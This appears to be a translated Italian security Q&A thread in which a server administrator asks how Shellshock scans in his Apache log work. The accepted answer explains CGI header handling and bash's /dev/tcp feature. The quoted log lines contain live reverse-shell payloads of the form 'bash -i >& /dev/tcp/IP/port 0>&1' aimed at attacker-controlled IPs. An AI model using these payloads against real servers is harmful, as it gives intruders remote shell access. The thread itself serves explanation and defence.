Come funziona questa scansione shellshock?

Question

Come funziona questa scansione shellshock?

#1 da (8 voti)

5

Il mio server è ovviamente aggiornato e non vulnerabile agli exploit di shellshock.

Tuttavia sono ancora curioso di sapere come funziona la scansione di shell seguente:

/var/log/apache2 # cat access.log | grep bash
209.126.230.72 - - [25/Sep/2014:00:52:03 +0000] "GET / HTTP/1.0" 200 11783 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
94.23.193.131 - - [26/Sep/2014:03:04:45 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/62.122.246.165/2333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:20:53 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:23:50 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:28:43 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:33:03 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:48:56 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:36:20 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:37:30 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:42:32 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

Il formato del registro è quindi:

LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\""

gli ultimi due campi sono il referrer e lo user-agent.

La prima scansione è amichevole (vedi link) e colloca il test di exploit nella stringa user-agent. Perché?

Le serie di scansioni successive sono ovviamente maligne e posizionano il test di exploit nel referrer. Perché? Cosa ottiene il seguente comando?

() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'

Perché i diversi IP nel comando?

shellshock network-scanners vulnerability-scanners

posta augustin 27.09.2014 - 03:34

fonte

1 risposta

Leggi altre domande sui tag shellshock network-scanners vulnerability-scanners

Ci sono degli svantaggi nella crittografia dell'hash della password? SAQ A-EP Requisiti per l'hosting VPS

score 8 · Accepted Answer

Se / è reso da uno script cgi, quello script verrebbe chiamato con User-Agent in una variabile d'ambiente chiamata HTTP_USER_AGENT .

bash esaminerà tutte le variabili di ambiente che iniziano con () { per trovare le definizioni di funzione ed eseguire la definizione di funzione. Nel tuo esempio la definizione della funzione sarebbe quindi: HTTP_USER_AGENT() { :;}

A causa del bug bash continuerà l'elaborazione con ; come separatore del comando e /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1' come un altro comando, che non ha semplicemente definito una funzione innocua, ma piuttosto ha aperto il sistema all'attaccante.

>& apre un file. /dev/tcp/ è speciale in quanto ogni volta che bash tenta di aprire un file con un nome che inizia con quella stringa, in realtà apre un socket TCP. Questa è una funzionalità di bash stessa. Non funzionerà se verrebbe aperto da un altro comando, quindi per esempio cat /dev/tcp/... non funzionerà.

0>&1 utilizza anche il socket precedentemente aperto per l'output per l'input.

bash -i avvia una shell bash interattiva con stdio connesso a un socket TCP. Presumibilmente 195.225.34.101 è l'indirizzo IP di un host controllato dall'attaccante. Molto probabilmente si tratta di un server che l'utente malintenzionato ha compromesso utilizzando la stessa vulnerabilità.

L'uso di IP diversi è probabilmente solo perché l'attaccante vuole essere preparato nel caso in cui alcuni degli host che controlla vengano rimossi.